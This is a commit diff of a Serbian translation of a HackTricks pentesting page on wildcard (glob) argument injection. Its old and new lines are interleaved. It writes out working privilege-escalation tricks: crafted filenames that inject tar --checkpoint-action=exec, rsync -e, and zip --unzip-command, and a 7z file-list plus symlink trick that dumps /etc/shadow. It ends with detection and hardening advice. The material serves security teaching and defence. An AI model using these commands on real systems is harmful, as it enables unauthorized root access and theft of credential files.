Translated ['src/linux-hardening/privilege-escalation/wildcards-spare-tr

This commit is contained in:
Translator 2025-08-04 14:33:58 +00:00
parent 1dd004ff6b
commit c4d567633f

View File

@ -1,60 +1,123 @@
# Wildcards Spare Tricks
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## chown, chmod > Wildcard (poznat i kao *glob*) **injekcija argumenata** se dešava kada privilegovani skript pokreće Unix binarni fajl kao što su `tar`, `chown`, `rsync`, `zip`, `7z`, … sa necitiranim wildcard-om kao što je `*`.
> Pošto ljuska širi wildcard **pre** izvršavanja binarnog fajla, napadač koji može da kreira fajlove u radnom direktorijumu može da napravi imena fajlova koja počinju sa `-` tako da se tumače kao **opcije umesto podataka**, efikasno krijući proizvoljne zastavice ili čak komande.
> Ova stranica prikuplja najkorisnije primitivne tehnike, nedavna istraživanja i moderne detekcije za 2023-2025.
Možete **naznačiti koji vlasnik datoteke i dozvole želite da kopirate za ostale datoteke** ## chown / chmod
Možete **kopirati vlasnika/grupu ili dozvole bitova proizvoljnog fajla** zloupotrebom `--reference` zastavice:
```bash ```bash
touch "--reference=/my/own/path/filename" # attacker-controlled directory
touch "--reference=/root/secret``file" # ← filename becomes an argument
``` ```
Možete iskoristiti ovo koristeći [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(kombinovani napad)_\ Kada root kasnije izvrši nešto poput:
Više informacija u [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## Tar
**Izvršite proizvoljne komande:**
```bash ```bash
chown -R alice:alice *.php
chmod -R 644 *.php
```
`--reference=/root/secret``file` je ubačen, uzrokujući da *svi* odgovarajući fajlovi naslede vlasništvo/dozvole `/root/secret``file`.
*PoC & alat*: [`wildpwn`](https://github.com/localh0t/wildpwn) (kombinovani napad).
Pogledajte i klasični DefenseCode rad za detalje.
---
## tar
### GNU tar (Linux, *BSD, busybox-full)
Izvršite proizvoljne komande zloupotrebom **checkpoint** funkcije:
```bash
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1" touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh" touch "--checkpoint-action=exec=sh shell.sh"
``` ```
Možete iskoristiti ovo koristeći [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar napad)_\ Kada root pokrene npr. `tar -czf /root/backup.tgz *`, `shell.sh` se izvršava kao root.
Više informacija u [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## Rsync ### bsdtar / macOS 14+
**Izvršite proizvoljne komande:** Podrazumevani `tar` na novijim macOS (zasnovan na `libarchive`) *ne* implementira `--checkpoint`, ali i dalje možete postići izvršavanje koda sa **--use-compress-program** flagom koji vam omogućava da navedete spoljašnji kompresor.
```bash ```bash
Interesting rsync option from manual: # macOS example
touch "--use-compress-program=/bin/sh"
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
``` ```
Kada privilegovani skript pokrene `tar -cf backup.tar *`, `/bin/sh` će biti pokrenut.
---
## rsync
`rsync` vam omogućava da prepravite udaljenu ljusku ili čak udaljeni binarni fajl putem komandnih opcija koje počinju sa `-e` ili `--rsync-path`:
```bash ```bash
touch "-e sh shell.sh" # attacker-controlled directory
touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
``` ```
Možete iskoristiti ovo koristeći [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\ Ako root kasnije arhivira direktorijum sa `rsync -az * backup:/srv/`, injektovana zastavica pokreće vašu ljusku na udaljenoj strani.
Više informacija na [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## 7z *PoC*: [`wildpwn`](https://github.com/localh0t/wildpwn) (`rsync` mod).
U **7z** čak i korišćenjem `--` pre `*` (napomena da `--` znači da sledeći unos ne može biti tretiran kao parametri, tako da su u ovom slučaju samo putanje do datoteka) možete izazvati proizvoljnu grešku da pročitate datoteku, tako da ako se komanda poput sledeće izvršava od strane root-a: ---
## 7-Zip / 7z / 7za
Čak i kada privilegovani skript *defensivno* prefiksira wildcard sa `--` (da zaustavi parsiranje opcija), 7-Zip format podržava **datoteke sa listom datoteka** prefiksiranjem imena datoteke sa `@`. Kombinovanjem toga sa simboličkom vezom možete *ekstraktovati proizvoljne datoteke*:
```bash ```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- * # directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow root.txt # file we want to read
touch @root.txt # tells 7z to use root.txt as file list
``` ```
I možete kreirati fajlove u fascikli gde se ovo izvršava, mogli biste kreirati fajl `@root.txt` i fajl `root.txt` koji je **symlink** ka fajlu koji želite da pročitate: Ako root izvrši nešto poput:
```bash ```bash
cd /path/to/7z/acting/folder 7za a /backup/`date +%F`.7z -t7z -snl -- *
touch @root.txt
ln -s /file/you/want/to/read root.txt
``` ```
Kada se **7z** izvrši, tretiraće `root.txt` kao datoteku koja sadrži listu datoteka koje treba da kompresuje (to je ono što postojanje `@root.txt` ukazuje) i kada 7z pročita `root.txt`, pročitaće `/file/you/want/to/read` i **pošto sadržaj ove datoteke nije lista datoteka, izbaciće grešku** prikazujući sadržaj. 7-Zip će pokušati da pročita `root.txt` (→ `/etc/shadow`) kao listu fajlova i odustati, **štampajući sadržaj na stderr**.
_Više informacija u Write-ups of the box CTF from HackTheBox._ ---
## Zip ## zip
**Izvršavanje proizvoljnih komandi:** `zip` podržava flag `--unzip-command` koji se prosleđuje *verbatim* sistemskoj ljusci kada će se arhiva testirati:
```bash ```bash
zip name.zip files -T --unzip-command "sh -c whoami" zip result.zip files -T --unzip-command "sh -c id"
``` ```
Injectujte zastavicu putem kreiranog imena datoteke i sačekajte da privilegovani skript za pravljenje rezervnih kopija pozove `zip -T` (testiranje arhive) na rezultantnoj datoteci.
---
## Dodatni binarni programi ranjivi na injekciju džokera (brza lista 2023-2025)
Sledeće komande su zloupotrebljavane u modernim CTF-ovima i stvarnim okruženjima. Teret je uvek kreiran kao *ime datoteke* unutar pisive direktorijuma koji će kasnije biti obrađen sa džokerom:
| Binarni program | Zastavica za zloupotrebu | Efekat |
| --- | --- | --- |
| `bsdtar` | `--newer-mtime=@<epoch>` → proizvoljni `@file` | Čitanje sadržaja datoteke |
| `flock` | `-c <cmd>` | Izvršavanje komande |
| `git` | `-c core.sshCommand=<cmd>` | Izvršavanje komande putem git-a preko SSH |
| `scp` | `-S <cmd>` | Pokretanje proizvoljnog programa umesto ssh |
Ove primitivne komande su manje uobičajene od klasičnih *tar/rsync/zip*, ali ih vredi proveriti prilikom lova.
---
## Detekcija i učvršćivanje
1. **Onemogućite globbing ljuske** u kritičnim skriptama: `set -f` (`set -o noglob`) sprečava ekspanziju džokera.
2. **Citat ili eskapiranje** argumenata: `tar -czf "$dst" -- *` nije *sigurno* — preferirajte `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
3. **Eksplicitne putanje**: Koristite `/var/www/html/*.log` umesto `*` kako napadači ne bi mogli da kreiraju susedne datoteke koje počinju sa `-`.
4. **Najmanje privilegije**: Pokrećite poslove pravljenja rezervnih kopija/održavanja kao nepovlašćeni servisni nalog umesto root-a kad god je to moguće.
5. **Praćenje**: Elasticova unapred izgrađena pravila *Potencijalna ljuska putem injekcije džokera* traži `tar --checkpoint=*`, `rsync -e*`, ili `zip --unzip-command` odmah praćeno procesom deteta ljuske. EQL upit može biti prilagođen za druge EDR-ove.
---
## Reference
* Elastic Security Pravilo Detektovana potencijalna ljuska putem injekcije džokera (poslednje ažurirano 2025)
* Rutger Flohil “macOS — Injekcija džokera u tar” (18. decembar 2024)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}